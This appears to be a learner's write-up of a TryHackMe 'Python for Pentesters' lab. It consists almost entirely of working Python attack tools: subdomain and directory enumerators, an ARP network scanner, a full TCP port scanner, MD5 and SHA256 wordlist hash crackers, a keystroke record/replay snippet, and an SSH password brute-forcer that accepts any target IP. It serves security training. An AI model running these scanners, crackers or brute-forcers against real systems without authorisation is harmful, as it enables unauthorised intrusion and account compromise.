Python for Pentesters

March 14, 2024

Task 1: Introduction

Task 2: Subdomain Enumeration

python script.py example.com
import requests 
import sys 

sub_list = open("subdomains.txt").read() 
subdoms = sub_list.splitlines()

for sub in subdoms:
    sub_domains = f"http://{sub}.{sys.argv[1]}" 

    try:
        requests.get(sub_domains)
    
    except requests.ConnectionError: 
        pass
    
    else:
        print("Valid domain: ",sub_domains)

Task 3: Directory Enumeration

python3 directory-enum.py 10.10.180.104
import requests 
import sys 

sub_list = open("wordlist.txt").read() 
directories = sub_list.splitlines()

for dir in directories:
    dir_enum = f"http://{sys.argv[1]}/{dir}.html" 
    r = requests.get(dir_enum)
    if r.status_code==404: 
        pass
    else:
        print("Valid directory:" ,dir_enum)

Task 4: Network Scanner

from scapy.all import *

interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"

packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range) 

ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)

for send,receive in ans:
        print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))     

Task 5: Port Scanner

import sys
import socket
import pyfiglet


ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \nPort Scanner")
print(ascii_banner)


ip = '192.168.1.6' 
open_ports =[] 

ports = range(1, 65535)


def probe_port(ip, port, result = 1): 
  try: 
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    sock.settimeout(0.5) 
    r = sock.connect_ex((ip, port))   
    if r == 0: 
      result = r 
    sock.close() 
  except Exception as e: 
    pass 
  return result


for port in ports: 
    sys.stdout.flush() 
    response = probe_port(ip, port) 
    if response == 0: 
        open_ports.append(port) 
    

if open_ports: 
  print ("Open Ports are: ") 
  print (sorted(open_ports)) 
else: 
  print ("Looks like no ports are open :(")

Task 6: File Downloader

import requests

url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
import requests

url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content) 

Task 7: Hash Cracker

import hashlib
import pyfiglet

ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for MD 5")
print(ascii_banner)

wordlist_location = input('Enter wordlist file location: ')
hash_input = input('Enter hash to be cracked: ')

with open(wordlist_location, 'rb') as file:  # Open the file in binary mode
    for line in file:
        try:
            line = line.decode('utf-8').strip()  # Decode each line using UTF-8
        except UnicodeDecodeError:
            continue  # Skip lines that cannot be decoded as UTF-8
        hash_ob = hashlib.md5(line.encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line)
            exit(0)
import hashlib
import pyfiglet

ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for SHA256")
print(ascii_banner)

wordlist_location = input('Enter wordlist file location: ')
hash_input = input('Enter hash to be cracked: ')

with open(wordlist_location, 'rb') as file:  # Open the file in binary mode
    for line in file:
        try:
            line = line.decode('utf-8').strip()  # Decode each line using UTF-8
        except UnicodeDecodeError:
            continue  # Skip lines that cannot be decoded as UTF-8
        hash_ob = hashlib.sha256(line.encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line)
            exit(0)

Task 8: Keyloggers

import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)

Task 9: SSH Brute Forcing

import paramiko

target = input('Please enter target IP address: ')
username = input('Please enter username to bruteforce: ')
password_file = input('Please enter location of the password file: ')

def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

with open(password_file, 'rb') as file:  # Open the file in binary mode
    for line in file:
        try:
            password = line.decode('utf-8').strip()  # Try to decode as UTF-8
        except UnicodeDecodeError:
            password = line.strip()  # If decoding fails, use the raw bytes
        
        try:
            response = ssh_connect(password)

            if response == 0:
                print('password found:', password)
                exit(0)
            elif response == 1:
                print('no luck')
        except Exception as e:
            print(e)

Task 10: Extra Challenges

Last updated